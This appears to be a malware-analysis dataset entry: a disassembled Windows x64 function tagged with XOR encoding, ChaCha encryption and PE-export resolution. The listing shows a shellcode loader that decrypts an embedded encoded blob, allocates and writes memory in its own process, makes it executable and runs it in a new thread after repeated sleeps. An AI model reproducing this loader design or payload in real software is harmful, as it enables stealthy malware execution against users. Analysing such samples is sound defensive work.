Function at 0x140002ce0
Capabilities:
Encode data using xor
Encrypt data using salsa20 or chacha
Resolve function by parsing pe exports

Disassembly:
push r15
xor eax, eax
mov ecx, 0xc
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x158
mov r12, qword [str.GDQJLw62g_MeyY6bp3n9cnsNQngRDsM4vpJh8yXj7JBeFT0WpeOkDPnw3weM8eW1D1r6fffDZVriWaLuEA3qqEBRRWXGW8iDb8VqmvaJ4M6hfM9m_VR0SS7rhKYV4DnMeeklqdFj0Aa0i_m0_U_dmdlWqIOHmIn9DrwX1v3dvb9Y_ZZdwp82dqPwYUSoFzS1TS0LVGvm8dHqWwXnYgNtYZf69yYohXolUP2U4PNsJ4l3mmmK77klfbkqnOoYgFNDe9_8QwD7rJR685bVRrS8hkAEc6jKkQTlUSY7BXFd084wCVR7nAx0xEidocoZS2rfS263wFBZEuIC3R2OtS6hRmhQqF0maBhj1J36nGcrRN2dbsgozcXAdUKQE23M7_7_QGLLX5P2DH4JaxqwHkiu9H6hmqDpl9_exruWtemd4wixV6tFiLySh7wwAXGjKNdzfephHokrK_1aVcKVkNYhGr1lB_mdooNpJGAoBQ5aBeRgS4wrWx8oMmvhScMVdcpN13UwRS02LCsSO9i_IaP98d7N0k9wjXOM6eT7xhT8iZi9sCP5ztdNmmwVVZMcKtCI_0owmY0RFTKcVIPbqWmUPdl6eOfdOvLFlpvpOGCSD1QZ4sXofbA6jWBj3Bf2sUXaGL_Wv2KzcvGz49OVJJP9SWjTG5gdS__DhueX_anjnPpSYcIeiLJh9P9yboaTL7crv4zXkSXxIH9T9x7RNvBPqJlBKJy6Hc9J9kH1B_sHE8Gvwhj3R6H2YJUJaqhth6WdEoowzMW20DSl1QE4Vqb39VcOmIrxfwPjfZuKodf8m3S2tdq6CQUMwQfMvFft2kKvkulqAEjKfGAIa3E]
lea rdi, [rsp + 0xe0]
mov dword [rsp + 0xb4], 0
rep stosd dword [rdi], eax
mov rcx, r12
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
call sub.msvcrt.dll_strlen
movsxd rcx, eax
mov rsi, rax
call sub.msvcrt.dll_malloc
mov r8d, esi
mov rdx, r12
mov rcx, rax
mov rbx, rax
call fcn.140002aa0
mov qword [rsp + 0xc8], 0
cdqe
mov qword [rsp + 0xc0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, [rsp + 0xb8]
mov edx, 0x1fffff
lea r9, [rsp + 0xd0]
cdqe
lea r8, [rsp + 0xe0]
mov qword [rsp + 0xd0], rax
call fcn.1400015f0
mov dword [rsp + 0x28], 4
mov rcx, qword [rsp + 0xb8]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0xc8]
lea r9, [rsp + 0xc0]
call fcn.140001530
mov rax, qword [rsp + 0xc0]
mov rcx, rax
mov qword [rsp + 0x68], rax
call sub.msvcrt.dll_malloc
cmp dword [rsp + 0x68], 0
mov qword [rsp + 0x88], rax
je 0x1400031c8
mov eax, dword [rsp + 0x68]
mov r9, qword [rsp + 0x88]
mov qword [rsp + 0xa0], 0
mov dword [rsp + 0x90], 1
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x80], rax
cmp dword [rsp + 0x70], 0x3f
ja 0x140002e58
xor eax, eax
mov dl, byte [rbx + rax]
mov rdi, qword [rsp + 0x80]
inc rax
mov byte [rax + rdi - 1], dl
cmp dword [rsp + 0x70], eax
ja 0x140002e32
mov qword [rsp + 0xa0], r9
mov rbx, rdi
mov r9, rdi
mov dword [rsp + 0xac], 0xa
mov edx, dword [rsp + 0x90]
mov r13d, 0x867b9f9
mov r10d, 0x6b206574
mov dword [rsp + 0x74], 0xf7d28471
mov edi, 0x52b94381
mov eax, 0x853f3893
mov r12d, 0x4a47b3b
mov r15d, 0x379423ee
mov ecx, 0xe2e79887
mov esi, 0x3320646e
mov dword [rsp + 0x7c], 0x36d9a3f2
mov dword [rsp + 0x78], 0x5019086a
mov r11d, 0x79622d32
mov ebp, 0x36834219
mov r8d, 0x47919b4f
mov r14d, 0x61707865
add r14d, r8d
add esi, ecx
add r11d, r15d
xor edx, r14d
xor eax, esi
xor r12d, r11d
rol edx, 0x10
rol eax, 0x10
add ebp, edx
add edi, eax
rol r12d, 0x10
xor r8d, ebp
xor ecx, edi
rol r8d, 0xc
rol ecx, 0xc
add r14d, r8d
add esi, ecx
xor edx, r14d
xor eax, esi
rol edx, 8
rol eax, 8
add ebp, edx
mov dword [rsp + 0x94], edx
add edi, eax
mov edx, dword [rsp + 0x78]
xor r8d, ebp
xor ecx, edi
mov dword [rsp + 0x98], ebp
mov ebp, dword [rsp + 0x74]
add edx, r12d
rol r8d, 7
mov dword [rsp + 0x9c], eax
xor r15d, edx
rol ecx, 7
rol r15d, 0xc
add r11d, r15d
xor r12d, r11d
rol r12d, 8
add r10d, dword [rsp + 0x7c]
add r14d, ecx
xor ebp, r10d
add edx, r12d
mov dword [rsp + 0xa8], r12d
mov r12d, dword [rsp + 0x7c]
rol ebp, 0x10
xor r15d, edx
lea eax, [rbp + r13]
rol r15d, 7
xor r12d, eax
add esi, r15d
rol r12d, 0xc
add r10d, r12d
xor ebp, r10d
rol ebp, 8
add eax, ebp
xor ebp, r14d
rol ebp, 0x10
xor r12d, eax
add edx, ebp
rol r12d, 7
xor ecx, edx
rol ecx, 0xc
add r14d, ecx
xor ebp, r14d
rol ebp, 8
add edx, ebp
mov dword [rsp + 0x74], ebp
mov ebp, dword [rsp + 0x98]
xor ecx, edx
mov dword [rsp + 0x78], edx
mov edx, dword [rsp + 0x94]
rol ecx, 7
xor edx, esi
rol edx, 0x10
lea r13d, [rax + rdx]
mov eax, dword [rsp + 0x9c]
xor r15d, r13d
rol r15d, 0xc
add esi, r15d
add r11d, r12d
add r10d, r8d
xor eax, r11d
xor edx, esi
rol eax, 0x10
rol edx, 8
add ebp, eax
add r13d, edx
xor r12d, ebp
xor r15d, r13d
rol r12d, 0xc
rol r15d, 7
add r11d, r12d
xor eax, r11d
rol eax, 8
add ebp, eax
xor r12d, ebp
rol r12d, 7
mov dword [rsp + 0x7c], r12d
mov r12d, dword [rsp + 0xa8]
xor r12d, r10d
rol r12d, 0x10
add edi, r12d
xor r8d, edi
rol r8d, 0xc
add r10d, r8d
xor r12d, r10d
rol r12d, 8
add edi, r12d
xor r8d, edi
rol r8d, 7
dec dword [rsp + 0xac]
jne 0x140002ec5
add r14d, 0x61707865
add r12d, 0x4a47b3b
sub eax, 0x7ac0c76d
xor eax, dword [rbx + 0x34]
mov dword [rsp + 0x94], r14d
mov r14d, dword [rsp + 0x7c]
add esi, 0x3320646e
add r11d, 0x79622d32
add edx, dword [rsp + 0x90]
add r10d, 0x6b206574
xor esi, dword [rbx + 4]
add r8d, 0x47919b4f
add r14d, 0x36d9a3f2
sub ecx, 0x1d186779
xor r11d, dword [rbx + 8]
add r15d, 0x379423ee
mov dword [rsp + 0x7c], r14d
add ebp, 0x36834219
mov r14d, dword [rsp + 0x78]
add edi, 0x52b94381
mov dword [rsp + 0x78], r12d
mov r12d, dword [rsp + 0x74]
add r13d, 0x867b9f9
add r14d, 0x5019086a
xor r10d, dword [rbx + 0xc]
xor r8d, dword [rbx + 0x10]
sub r12d, 0x82d7b8f
xor ecx, dword [rbx + 0x14]
xor r15d, dword [rbx + 0x18]
xor ebp, dword [rbx + 0x20]
xor edi, dword [rbx + 0x24]
mov dword [rsp + 0x74], r12d
mov r12d, dword [rsp + 0x7c]
xor r14d, dword [rbx + 0x28]
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x78]
xor eax, dword [rbx + 0x38]
xor r12d, dword [rbx + 0x1c]
xor r13d, dword [rbx + 0x2c]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x74]
xor eax, dword [rbx + 0x3c]
mov dword [rsp + 0x74], eax
xor edx, dword [rbx + 0x30]
inc dword [rsp + 0x90]
mov eax, dword [rsp + 0x94]
xor eax, dword [rbx]
cmp dword [rsp + 0x70], 0x40
mov dword [r9 + 4], esi
mov dword [r9], eax
mov eax, dword [rsp + 0x7c]
mov dword [r9 + 8], r11d
mov dword [r9 + 0x34], eax
mov eax, dword [rsp + 0x78]
mov dword [r9 + 0xc], r10d
mov dword [r9 + 0x38], eax
mov eax, dword [rsp + 0x74]
mov dword [r9 + 0x10], r8d
mov dword [r9 + 0x14], ecx
mov dword [r9 + 0x18], r15d
mov dword [r9 + 0x1c], r12d
mov dword [r9 + 0x20], ebp
mov dword [r9 + 0x24], edi
mov dword [r9 + 0x28], r14d
mov dword [r9 + 0x2c], r13d
mov dword [r9 + 0x30], edx
mov dword [r9 + 0x3c], eax
ja 0x1400031b6
mov eax, dword [rsp + 0x68]
dec eax
shr eax, 6
imul eax, eax, 0xffffffc0
add eax, dword [rsp + 0x68]
cmp eax, 0x40
je 0x1400031c8
xor edx, edx
mov cl, byte [r9 + rdx]
mov rbx, qword [rsp + 0xa0]
mov byte [rbx + rdx], cl
inc rdx
cmp eax, edx
ja 0x14000319e
jmp 0x1400031c8
sub dword [rsp + 0x70], 0x40
add r9, 0x40
add rbx, 0x40
jmp 0x140002e29
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x68]
mov ebx, 0xa
mov r8, qword [rsp + 0x88]
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xb8]
call fcn.14000164c
lea rax, [rsp + 0xb4]
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov r9d, 0x10
lea r8, [rsp + 0xc0]
call fcn.140001630
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x7d0
call rsi
dec ebx
jne 0x14000322f
mov rax, qword [rsp + 0xc8]
xor r8d, r8d
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x48], 0
mov r9, qword [rsp + 0xb8]
mov edx, 0x1fffff
mov qword [rsp + 0x28], rax
lea rax, [0x140002cd0]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x110], 0
call fcn.1400015b0
mov rcx, qword [rsp + 0x110]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x110]
call fcn.140001570
mov rcx, qword [rsp + 0xb8]
call fcn.140001570
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret